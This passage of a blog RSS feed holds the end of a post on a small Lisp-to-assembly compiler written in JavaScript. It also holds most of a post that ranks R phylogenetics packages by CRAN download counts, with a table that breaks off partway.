&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;POP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RSI&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;POP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RDI&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;MOV&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RSI&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RAX&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;CALL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;plus&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;POP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RSI&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;POP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RDI&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;MOV&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RDI&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RAX&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;MOV&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RAX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2000001&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;SYSCALL&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="generating-an-executable-file-from-the-output"&gt;Generating an executable file from the output&lt;/h3&gt;&lt;p&gt;If we redirect the previous output to an assembly file and call &lt;code&gt;gcc&lt;/code&gt;
on it, we can generate a program we can run. Then we can echo the &lt;code&gt;$?&lt;/code&gt;
variable to see the exit code of the previous process.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;node&lt;span class="w"&gt; &lt;/span&gt;ulisp.js&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'(+ 3 (+ 2 1))'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;program.S
$&lt;span class="w"&gt; &lt;/span&gt;gcc&lt;span class="w"&gt; &lt;/span&gt;-mstackrealign&lt;span class="w"&gt; &lt;/span&gt;-masm&lt;span class="o"&gt;=&lt;/span&gt;intel&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;program&lt;span class="w"&gt; &lt;/span&gt;program.s
$&lt;span class="w"&gt; &lt;/span&gt;./program
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$?&lt;/span&gt;
&lt;span class="m"&gt;6&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And we've got a working compiler! The full source of the compiler is
available &lt;a href="https://github.com/eatonphil/ulisp"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="further-reading"&gt;Further reading&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://aaronbloomfield.github.io/pdr/book/x86-64bit-ccc-chapter.pdf"&gt;x86_64 calling convention&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;macOS assembly programming&lt;ul&gt;
&lt;li&gt;&lt;a href="http://fabiensanglard.net/macosxassembly/index.php"&gt;Stack alignment on macOS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://filippo.io/making-system-calls-from-assembly-in-mac-os-x/"&gt;Syscalls on macOS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Destination-driven code generation&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.cs.indiana.edu/~dyb/pubs/ddcg.pdf"&gt;Kent Dybvig's original paper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://cs.au.dk/~mis/dOvs/slides/46b-codegeneration-in-V8.pdf"&gt;One-pass code generation in V8&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;blockquote class="twitter-tweet"&gt;&lt;p dir="ltr" lang="en"&gt;Finished that intro to compilers post :) lisp to assembly in Javascript &lt;a href="https://t.co/0HDIn4Mv7a"&gt;https://t.co/0HDIn4Mv7a&lt;/a&gt;&lt;/p&gt;&amp;mdash; Phil Eaton (@phil_eaton) &lt;a href="https://twitter.com/phil_eaton/status/1066863077000441856?ref_src=twsrc%5Etfw"&gt;November 26, 2018&lt;/a&gt;&lt;/blockquote&gt; &lt;/p&gt;</description><author>Notes on software development</author><pubDate>Tue, 20 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">http://notes.eatonphil.com/compiler-basics-lisp-to-assembly.html</guid></item><item><title>What R package for phylogenetics is the most popular?</title><link>https://jonathanchang.org/blog/what-r-package-for-phylogenetics-is-the-most-popular/</link><description>&lt;p&gt;While writing my first R package and its associated manuscript, I needed to talk about some other R packages in the phylogenetics research community. The most obvious choice would be to just cite the ones that I actually use, but that doesn’t necessarily mean that other practicing phylogeneticists do the same. I needed to get some stats on which phylogenetics packages were actually popular, but luckily the R ecosystem has the tools to make this easy.&lt;/p&gt;
  &lt;p&gt;&lt;a href="#table"&gt;Skip straight to the popularity table&lt;/a&gt;.&lt;/p&gt;
  &lt;h2&gt;Instructions&lt;/h2&gt;
  &lt;p&gt;First, let’s install the &lt;a href="https://cran.r-project.org/package=ctv"&gt;CRAN Task Views&lt;/a&gt; package and the &lt;a href="https://github.com/metacran/cranlogs"&gt;CRAN-logs&lt;/a&gt; API package. We’ll use the development version of &lt;code&gt;cranlogs&lt;/code&gt; since it hasn’t been updated on CRAN in a while and some stuff has changed.&lt;/p&gt;
  &lt;div class="language-r highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;install.packages&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"ctv"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;devtools&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;install_github&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"metacran/cranlogs"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;p&gt;&lt;/span&gt;&lt;span class="n"&gt;library&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;library&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cranlogs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;We can get a list of all the CRAN task views using the &lt;code&gt;available.views&lt;/code&gt; function. Annoyingly, there’s no way to filter and extract JUST the &lt;a href="https://cran.r-project.org/view=Phylogenetics"&gt;Phylogenetics task view&lt;/a&gt;, so we’ll have to write a short filter to extract it.&lt;sup class="footnote-ref"&gt;&lt;a href="#fn1" id="fnref1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class="language-r highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;available.views&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;p&gt;&lt;/span&gt;&lt;span class="n"&gt;phylo_ctv&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;“Phylogenetics”&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;available.views&lt;/span&gt;&lt;span class="p"&gt;())[[&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;Now we can extract the list of packages that are associated with the “Phylogenetics” task view, and using that list of packages, query the CRAN-logs server to figure out the most popular phylogenetics packages in the last year.&lt;/p&gt;
&lt;div class="language-r highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;phylo_ctv&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;packagelist&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;phylo_packages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;phylo_ctv&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;packagelist&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt;
&lt;p&gt;&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cran_downloads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;“2018-10-01”&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;“2017-10-01”&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;packages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;phylo_packages&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;Of course, what about the phylogenetics packages that aren’t in the Phylogenetics task view? Another way to view it is to consider if a package depends on the &lt;code&gt;ape&lt;/code&gt; package. Pretty much every phylogenetics package will use ape in some form or another, so it might also be a good proxy of what a “phylo” package is.&lt;/p&gt;
&lt;p&gt;Get a list of all the reverse dependencies of &lt;code&gt;ape&lt;/code&gt; using &lt;code&gt;devtools&lt;/code&gt;.&lt;sup class="footnote-ref"&gt;&lt;a href="#fn2" id="fnref2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class="language-r highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;revdep_packages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;devtools&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;revdep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"ape"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;all_phylo_packages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unique&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;phylo_packages&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;revdep_packages&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;output2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cran_downloads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2018-10-01"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2017-10-01"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;packages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;all_phylo_packages&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;By default, the output from cranlogs is the number of downloads for a given package on a given date. We want to sum up all of these counts so we have a total number of downloads per package.&lt;/p&gt;
&lt;p&gt;Aggregate these data using &lt;code&gt;dplyr&lt;/code&gt;.&lt;/p&gt;
&lt;div class="language-r highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;library&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dplyr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;p&gt;&lt;/span&gt;&lt;span class="n"&gt;output2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&amp;gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;group_by&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;package&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&amp;gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;summarise&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;downloads&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&amp;gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arrange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;downloads&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;/p&gt;
&lt;h2&gt;Exercises&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Filter the table to only include packages in both the CRAN task view and reverse dependencies list. (This will exclude e.g., &lt;code&gt;ggplot2&lt;/code&gt; and other arguably-peripheral packages.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Use the &lt;a href="https://r4ds.had.co.nz/dates-and-times.html"&gt;&lt;code&gt;lubridate&lt;/code&gt; package&lt;/a&gt; to find the ten most popular packages by year. (The CRAN logs go back to October 2012.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Check out Brian O’Meara’s &lt;a href="https://github.com/bomeara/summarizetaskview/blob/fd990fb7a19cf03cb0c5da9d87c1c808534658cc/README.md"&gt;excellent work showing how popular phylogenetics packages changed over time&lt;/a&gt;!&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Table&lt;/h2&gt;
&lt;p&gt;Here’s the full version of the table. There’s some packages in here that are only peripherally associated with phylogenetics, but it gives a good picture of what the state of the field looks like. I’ve also annotated each package with which list it came from, the CRAN Task View list or the reverse dependencies list.&lt;/p&gt;
&lt;!--
output2 %&gt;% group_by(package) %&gt;% summarise(downloads = sum(count)) %&gt;% mutate(in_ctv = package %in% phylo_packages, in_revdep = package %in% revdep_packages) %&gt;% arrange(-downloads) %&gt;% transmute(rank = row_number(), package = paste0("[", package, "](https://cran.r-project.org/package=", package, ")"), downloads, in_ctv, in_revdep) %&gt;% knitr::kable()
--&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th align="right"&gt;&lt;/th&gt;
      &lt;th align="left"&gt;Package&lt;/th&gt;
      &lt;th align="right"&gt;Downloads&lt;/th&gt;
      &lt;th align="left"&gt;CTV?&lt;/th&gt;
      &lt;th align="left"&gt;Revdep?&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;1&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=ggplot2"&gt;ggplot2&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;5624177&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;2&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=igraph"&gt;igraph&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;1248409&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;3&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=dendextend"&gt;dendextend&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;440772&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;4&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=ape"&gt;ape&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;433337&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;5&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=vegan"&gt;vegan&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;426398&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;6&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=ade4"&gt;ade4&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;336755&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;7&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=brms"&gt;brms&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;90632&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;8&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=phangorn"&gt;phangorn&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;78319&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;9&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=adegenet"&gt;adegenet&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;68176&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;10&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=metafor"&gt;metafor&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;64462&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;11&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=data.tree"&gt;data.tree&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;60224&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;12&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=Seurat"&gt;Seurat&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;55905&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;13&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=MCMCglmm"&gt;MCMCglmm&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;48496&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;14&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=phytools"&gt;phytools&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;43721&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;15&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=HSAUR2"&gt;HSAUR2&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;40079&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;16&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=HSAUR"&gt;HSAUR&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;38960&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;17&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=taxize"&gt;taxize&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;34790&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;18&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=rncl"&gt;rncl&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;31910&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;19&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=aqp"&gt;aqp&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;30681&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;20&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=pegas"&gt;pegas&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;29424&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;21&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=RNeXML"&gt;RNeXML&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;29278&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;22&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=rotl"&gt;rotl&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;28502&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;23&lt;/td&gt;
      &lt;td align="left"&gt;&lt;a href="https://cran.r-project.org/package=picante"&gt;picante&lt;/a&gt;&lt;/td&gt;
      &lt;td align="right"&gt;26858&lt;/td&gt;
      &lt;td align="left"&gt;🚫&lt;/td&gt;
      &lt;td align="left"&gt;✅&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align="right"&gt;24&lt;/td&gt;
